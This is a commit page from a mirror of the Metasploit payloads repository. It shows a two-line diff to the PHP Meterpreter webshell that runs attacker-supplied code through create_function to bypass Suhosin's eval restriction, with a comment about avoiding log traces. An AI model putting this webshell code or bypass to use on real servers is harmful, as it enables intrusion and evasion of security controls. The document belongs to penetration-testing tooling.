github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-22 03:19:04 +01:00
Code Releases Activity

fix for php create_function errors

Browse Source 
based on findings listed https://github.com/rapid7/metasploit-framework/issues/8858 it was identified that the php webshell was not working at all. Hence a fix to get it to work in both suhosin and non suhosin environment.
This commit is contained in:
Anant Shrivastava 2017-08-20 12:19:14 +05:30 committed by GitHub
parent 285a85c55d
commit f5f594192b
1 changed files with 2 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
php/meterpreter/meterpreter.php
View File

@ -428,7 +428,8 @@ function core_loadlib($req, &$pkt) {
# but since this function is deprecated since php 7.2+, we're not using it
# when we can avoid it, since it might leave some traces in the log files.
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
create_function('', $data_tlv['value'])();
$suhosin_bypass=create_function('', $data_tlv['value']);
$suhosin_bypass();
} else {
eval($data_tlv['value']);
}